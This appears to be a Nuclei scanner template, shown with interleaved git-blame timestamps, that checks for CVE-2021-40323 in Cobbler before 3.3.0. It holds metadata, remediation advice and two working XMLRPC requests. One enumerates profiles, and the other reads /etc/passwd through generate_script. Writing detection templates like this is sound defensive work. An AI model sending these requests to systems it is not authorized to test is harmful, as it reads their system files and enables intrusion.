2022-02-14 17:20:32 +00:00
id : CVE-2021-40323
info :
2022-05-02 21:50:47 +00:00
name : Cobbler <3.3.0 - Remote Code Execution
2022-02-14 17:20:32 +00:00
author : c-sh0
2022-04-22 10:38:41 +00:00
severity : critical
2022-03-17 17:01:45 +00:00
description : Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially resulting in complete compromise of the affected system.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability.
2022-02-14 17:20:32 +00:00
reference :
2022-03-17 17:01:45 +00:00
- https://github.com/cobbler/cobbler/releases/tag/v3.3.0
2022-02-14 17:20:32 +00:00
- https://github.com/cobbler/cobbler/issues/2795
- https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2021-40323
2023-07-11 19:49:27 +00:00
- https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a
2022-02-14 17:20:32 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2022-02-14 17:20:32 +00:00
cve-id : CVE-2021-40323
cwe-id : CWE-94
2023-12-12 11:07:52 +00:00
epss-score : 0.02175
epss-percentile : 0.88161
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:cobbler_project:cobbler:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : cobbler_project
product : cobbler
2023-12-05 09:50:33 +00:00
tags : cve,cve2021,cobbler,rce,cobbler_project
2022-02-14 17:20:32 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-02-14 17:20:32 +00:00
- raw :
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host : {{Hostname}}
Content-Type : text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>find_profile</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>name</name>
<value>
<string>*</string>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host : {{Hostname}}
Content-Type : text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>generate_script</methodName>
<params>
<param>
<value>
<string>{{profile}}</string>
</value>
</param>
<param>
<value>
<string></string>
</value>
</param>
<param>
<value>
<string>/etc/passwd</string>
</value>
</param>
</params>
</methodCall>
matchers-condition : and
matchers :
- type : word
part : header
words :
- 'text/xml'
- type : regex
regex :
- "root:.*:0"
- "bin:.*:1"
- "nobody:.*:99"
2022-03-17 17:01:45 +00:00
condition : or
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
extractors :
- type : regex
name : profile
group : 1
regex :
- '<value><string>(.*?)</string></value>'
internal : true
2023-12-29 09:30:44 +00:00
# digest: 4b0a00483046022100c086139ee711434a0623741071fdb455e6f4c791eb82e5dd0433f8fa54e612c80221009faf49ae2bc0d87ee6fc943343c7b840a6cae8f317184a43167090c9107eefc6:922c64590222798bb761d5b6d8e72950